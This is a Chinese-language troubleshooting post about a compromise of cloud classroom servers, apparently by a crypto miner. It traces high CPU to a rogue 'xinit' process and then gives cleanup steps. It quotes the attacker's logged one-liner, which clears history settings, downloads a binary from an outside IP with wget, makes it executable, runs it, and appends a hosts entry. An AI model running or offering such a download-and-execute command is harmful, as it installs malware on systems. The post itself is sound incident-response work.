

## 知 云学堂中毒导致服务器CPU利用率居高不下

吴毓 2021-01-23 发表

### 组网及说明

现场部署了6套云学堂，每个教室一套，各自独立使用。

### 问题描述

反馈6个教室全部发现前台云学堂CPU利用率都是40多%，有过重启的记录，还是如此。

名称	业务口 IP	vCPU总核数	内存	CPU利用率	内存利用率	本地存储利用率	状态
10.12.1.68	10.10.27.1	72	156.42GB	45%			● 运行

## 过程分析

一、使用top命令确认后台的CPU使用率情况是否与前台前面显示的一致，接近50%的空闲情况，50%的使用。

```
top - 17:12:43 up 10 days, 19:47, 1 user, load average: 24.05, 24.12, 24.13
Tasks: 634 total, 1 running, 373 sleeping, 0 stopped, 0 zombie
Cpu(s): 50.1%us, 0.1%sy, 0.0%ni, 49.8%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 164014872k total, 8982380k used, 155032492k free, 78972k buffers
Swap: 0k total, 0k used, 0k free, 1324416k cached
```

二、使用top命令，按键盘P或者shift+p，将进程按照CPU利用率从大到小排序，确认什么进程占用CPU利用率进而不释放。

PID	USER	PR	NI	VIRT	RES	SHR	S	%CPU	%MEM	TIME+	COMMAND
36229	root	20	0	4509m	5424	4	S	2400	0.0	15049:15	xinit
3922	root	10	-10	3564m	464m	12m	S	1	0.3	227:41.65	ovs-vswitchd
22557	root	20	0	17900	3004	2152	R	1	0.0	0:06.43	top
3694	mysql	20	0	2789m	252m	18m	S	1	0.2	61:06.30	mysqld
240	root	20	0	0	0	0	S	0	0.0	0:04.83	ksoftirqd/38
2195	root	20	0	2161m	27m	3496	S	0	0.0	24:11.19	dockerd
2892	root	20	0	13980	2120	1888	S	0	0.0	9:00.43	irqbalance
3765	root	20	0	229m	60m	9.8m	S	0	0.0	26:23.45	celery
5244	root	20	0	5915m	384m	15m	S	0	0.2	5:46.30	java
5345	root	20	0	153m	9032	7404	S	0	0.0	9:45.42	cvm_gha
1	root	20	0	25264	4204	2343	S	0	0.0	3:16.84	init
2	root	20	0	0	0	0	S	0	0.0	0:00.70	kthreadd
4	root	0	-20	0	0	0	I	0	0.0	0:00.00	kworker/0:0H

三、如上图可以看到xinit进程占用CPU利用率，后续键盘小写的c查看进程的文件路径情况。

PID	USER	PR	NI	VIRT	RES	SHR	S	%CPU	%MEM	TIME+	COMMAND
36229	root	20	0	4509m	5424	4	S	2400	0.0	15068:54	-bash
3922	root	10	-10	3564m	464m	12m	S	1	0.3	227:42.32	ovs-vswitchd unix:/var/run/openvswitch
3694	mysql	20	0	2789m	252m	18m	S	1	0.2	61:06.59	/usr/sbin/mysqld --basedir=/usr --data
3765	root	20	0	229m	60m	9.8m	S	0	0.0	26:23.58	/var/lib/h3class/venv/horizon/bin/pyth
4886	root	20	0	4837m	48m	13m	S	0	0.0	299:03.45	/usr/sbin/libvirtd -d

四、xinit进程初步判断非云学堂环境正常进程，并且是一个脚本在进行运行，初步判断是中毒表现。

五、查看历史操作日志/var/log/operation记录，分析病毒脚本存放位置及相关操作。

```
2020/12/31 06:44:25#root pts/2 (10.10.50.113)#/root## poweroff
2020/12/31 06:44:26#root pts/2 (10.10.50.113)#/root## w
2020/12/31 06:44:29#root pts/2 (10.10.50.113)#/root## top
2020/12/31 06:44:30#root pts/2 (10.10.50.113)#/root## nproc
2020/12/31 06:44:31#root pts/2 (10.10.50.113)#/etc# cd /etc
2020/12/31 06:44:32#root pts/2 (10.10.50.113)#/etc# ls
2020/12/31 06:44:41#root pts/2 (10.10.50.113)#/etc# unset HISTFILE HISTSAVE HISTLOG;wget http://66.106.181.102:80/zz;mv .zz xinit;chmod +x xinit;./xinit;echo 80.1
66.181.102 bash.fail >> /etc/hosts
2020/12/31 06:44:41#root pts/2 (10.10.50.113)#/etc# cat /etc/hosts
2020/12/31 06:44:46#root pts/2 (10.10.50.113)#/etc# cat /etc/hosts
2020/12/31 06:44:48#root pts/2 (10.10.50.113)#/etc# cat /etc/hosts
2020/12/31 06:44:50#root pts/2 (10.10.50.113)#/etc# top
2020/12/31 06:44:56#root pts/2 (10.10.50.113)#/etc# top
2020/12/31 17:23:22#root pts/0 (10.10.37.112)#/root## poweroff
```

六、如上图可以看到于凌晨六点进行下载，重命名，运行脚本等操作，最终脚本存在在/etc目录下。

## 解决方法

一、按照操作日志进行一一清理，rm -rf xinit 删除/etc/目录下脚本

```
root@cvknode5:/etc# ll | grep xinit
-rwxr-xr-x  1 root root  993016 Nov 18 07:13 xinit*
You have new mail in /var/mail/root
root@cvknode5:/etc#
```

二、vi命令修改/etc/hosts的参数变动。

```
root@cvknode5:/etc# cat /etc/hosts
10.12.1.70 cvknode5
127.0.0.1 localhost

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
86.106.181.102 bash.fail
root@cvknode5:/etc#
```

三、使用命令kill -9 xxx 杀死脚本运行（进程号参照前面top命令查看）。

```
You have new mail in /var/mail/root
root@cvknode1:~# ps -ef | grep 31864
root   15632  9641  0 17:47 pts/5    00:00:00 grep --color=auto 31864
root   31864      1  0 06:45 ?        11-00:23:30 -bash
root@cvknode1:~# kill -9 31864
root@cvknode1:~# ps -ef | grep 31864
root   15870  9641  0 17:47 pts/5    00:00:00 grep --color=auto 31864
You have new mail in /var/mail/root
root@cvknode1:~#
```

四、至此CPU利用率正常释放掉，后续仍需加强root密码强度，及物理防火墙加强控制。

